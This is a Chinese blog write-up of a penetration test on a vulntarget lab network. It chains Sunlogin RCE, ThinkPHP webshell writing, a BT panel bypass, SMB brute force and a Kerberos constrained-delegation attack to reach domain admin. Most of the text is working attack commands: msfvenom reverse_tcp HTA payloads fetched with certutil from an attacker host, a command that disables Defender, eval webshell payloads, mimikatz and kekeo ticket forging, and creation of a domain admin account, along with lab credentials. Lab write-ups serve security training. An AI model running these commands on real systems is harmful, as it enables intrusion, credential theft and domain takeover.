记一次双层内网渗透

项目拓扑


此项目存在多个历史漏洞,考察Host碰撞、bt绕过、判断是否出网、搭建隧道、约束委派攻击等。

外网打点


向日葵RCE漏洞

端口扫描,发现如下两个端口

5985端口,没什么可用信息,再看看49773端口,访问返回信息,总感觉有点眼熟。

原来如此

CVE-2022-10270:https://www.cnblogs.com/spmonkey/p/16602040.html

访问url获取验证码

http://192.168.40.141:49773/cgi-bin/rpc?action=verify-haras

http://192.168.200.135:49678/check?cmd=ping../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/powershell.exe whoami

Cookie: CID=上一步获取的验证码

别人的利用工具用着不舒服,自己写一个一体化的工具。
漏洞检测

漏洞利用

但是想了一下,这里就算向日葵可以连接,还需要windows的账号密码才可以,遂放弃,老老实实去上线metasploit。

识别杀软

并且当前系统版本windows server 2016,尝试关闭windows defender的实时防护。。。

# 这里要执行的命令尽量用单引号包裹,双引号有时候会执行失败。
pocsuite -r Sunlogin-RCE-CVE-2022-10270.py -u http://192.168.40.141:54774 --attack --param 'set-MpPreference -DisableRealtimeMonitoring $true'

https://github.com/ce-automne/SunloginRCE/

这里使用生成exe后门无法执行,使用powershell命令也无法运行。。。最终生成powershell类型的hta文档执行成功上线

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.40.129 lport=2345 -f hta-psh -o w.hta

certutil -urlcache -split -f http://192.168.40.129/w.hta C:\w.hta

获取到shell,并迁移进程

抓取密码hash,这里直接抓取明文肯定是行不通的。

john工具解密,成功获取到administrator和ash的密码。

查看网卡,发现存在192.168.100.0/24网段。

查看192.168.100.0/24网段存活地址

添加路由

msf自己的socks代理太慢了,上传frp搭建socks5隧道。

端口扫描,发现22端口和宝塔的登陆地址。

ThinkPHP-RCE 写马

尝试22端口,发现不能直接连接,8888端口提示安全入口校验失败,也不能直接登陆,那就剩80端口了,扫一下目录,但是这里扫不了。

这里由于我前面获取到了跳板机的账号和密码,所以我直接登陆看看有什么信息。发现桌面有一个测试地址文件,里面看样子像是域名,也不能直接访问。

但是这里也有一个火狐浏览器,比较可疑,去看一下历史记录,发现这里有3个关于192.168.100.131的访问记录。

http://192.168.100.131/vulntarget/public
http://192.168.100.131/vulntarget/public/index.php

然后我直接访问,很奇怪,都是返回400。
查看跳板机的本地hosts文件,也没有配置。

Host碰撞工具:https://github.com/fofapro/Hosts_scan

Host碰撞

添加Host头访问,但是一看源代码,人麻了,怎么是个静态页面啊。

访问http://192.168.100.131/vulntarget/public/ ,发现是一个ThinkPHP,这一看就有洞啊。

ThinkPHP_RCE_payload:https://www.exploit-db.com/exploits/46150

直接访问,发现system()函数被禁用了。

参考:https://www.cnblogs.com/wkzb/p/14156026.html#gallery-22

这里使用assert()函数,页面回显变了,但是依旧无法执行系统命令。

当前目录拒绝访问

s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=a.php&vars[1][1]=<?php $s = "php";$b ="info();";$c=$s.$b;assert($c);?>

这里使用assert函数,虽然没限制,但是写入文件访问是空白页面。最后使用eval成功写入。

s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=../../win.php&vars[1][1]=<?php $d='php';$ev='info();';$c=$d.$ev;eval($c);?>

参考:https://mp.weixin.qq.com/s?__biz=Mzg3NDYwNjQyMw==&mid=2247488331&idx=1&sn=1d75130e090f9778e90f6a7e7064fa44&chksm=cecf6973f9b8e06510d2b8d91b03448ecc536e5e8df64904861273e832a5e224e5acdf3b748a&cur_album_id=2109154452740866051&scene=189#wechat_redirect

这里试了好多方法都写不进去马,最后参考这里使用3次URL编码成功写入。

s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=../../winsha.php&vars[1][1]=<?php eval(urldecode(urldecode(urldecode($_REQUEST[x]))));?>

蚁剑添加一个新的编码规则

'use strict';

  // ##########    请在下方编写你自己的代码   ###################
function forceEncode(s) {
  return Array.from(s).map(i=>'%'+i.charCodeAt(0).toString(16).padStart(2,'0')).join('')
}

module.exports = (pwd, data, ext={}) => {
  const payload = data['_']
  data[pwd] = forceEncode(forceEncode(payload));
  delete data['_'];
  console.log(data);
  return data;
}

bt绕过

执行命令,发现被限制了,使用蚁剑的插件进行绕过,但是执行命令没有回显。

这里绕过还是看这位博主的文章:https://cloud.tencent.com/developer/article/1982090

修改bt绕过脚本,更改命令,查看/etc/passwd文件。

php7_bt_bypass_exp:https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php

内网渗透


前面扫描端口发现存在22端口,并且root、vulntarget用户可以登陆。

去vulntarget用户目录下去看看,root目录肯定是拒绝访问的;发现一个key文件,感觉很奇怪,看一下。

发现是一个密钥文件。

尝试使用ssh登陆。发现不是vulntarget用户的,难道。。。还真是。

查看网卡,发现存在192.168.88.0/24网段地址。

尝试ping跳板机,但是没反应,甚至ping自己都没反应,看来ICMP协议是直接封死啊。

查看端口开放情况,除了前面扫描出来的,就一个3333端口是开放的。

上传并使用Ladon开启web服务。

使用wget下载一直超时,好奇怪,最后我在windows本地设置socks5代理,然后使用terminal连接,上传文件

set ReverseAllowProxy true

arp -a发现192.168.88.102主机。

端口扫描,只发现2个端口开放。

使用hydra爆破,发现administrator用户弱口令。

proxychains4 hydra -l Administrator -P /root/Desktop/webinfo/top1000.txt smb://192.168.88.102

proxychains4 python3 smbexec.py Administrator@192.168.88.102

powershell(new-object System.Net.WebClient).DownloadFile( 'http://192.168.88.100:81/208.exe' , 'C:\Users\Administrator\208.exe')

certutil -urlcache -split -f http://192.168.88.100:81/208.exe C:\Users\Administrator\208.exe

这里代理转发上线,一直没有会话。。。最后查看ubuntu的防火墙默认规则,发现其他端口都被限制了,添加出站和入站规则,成功获取到win2008的会话,迁移进程。

iptables -A INPUT -p tcp --dport 3334 -j ACCEPT
iptables -A INPUT -p tcp --sport 3334 -j ACCEPT
iptables -L

抓取明文密码

Administrator/admin@123
VULNTARGET\win2008/qweASD123

查看IP地址,获取到存在10.0.10.0/24网段地址,并且域控的IP为10.0.10.10

添加路由

域渗透之约束委派攻击


端口扫描。

检测是否存在约束委派攻击

ldapsearch -x -H ldap://10.0.10.10:389 -D "CN=win2008,CN=Users,DC=vulntaret,DC=com" -w qweASD123 -b "DC=vulntarget,DC=com" "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"

这里我使用metasploit的shell就会显示如下信息,索性就开启远程桌面。

通过kekeo请求服务用户的TGT

tgt::ask /user:win2008 /domain:vulntarget.com /password:qweASD123 /ticket:ash.kirbi

利用这个票据通过伪造S4U请求以administrator身份访问win2008的ST

tgs::s4u /tgt:TGT_win2008@VULNTARGET.COM_krbtgt~vulntarget.com@VULNTARGET.COM.kirbi /user:Administrator@vulntarget.com /service:cifs/WIN-1PV25H8UJPN.vulntarget.com

运行mimikatz,导入生成的票据。

kerberos::ptt TGS_Administrator@vulntarget.com@VULNTARGET.COM_cifs~WIN-1PV25H8UJPN.vulntarget.com@VULNTARGET.COM.kirbi

成功访问到域控。注意:这里执行dir \\WIN-1PV25H8UJPN.vulntarget.com\c$之后,执行其他命令就会显示拒绝访问,重新导入票据之后不要执行这条命令,直接新增加一个用户即可。

dir \\WIN-1PV25H8UJPN.vulntarget.com\c$

net user admin QWEasd123 /add /domain
net group "domain admins" admin /add /domain

使用新创建的用户成功获取到域控的权限。

proxychains4 python3 wmiexec.py admin:QWEasd123@10.0.10.10

开启远程桌面连接。

posted @ 2023-09-17 21:27  Axion11  阅读(147)  评论(0)    收藏  举报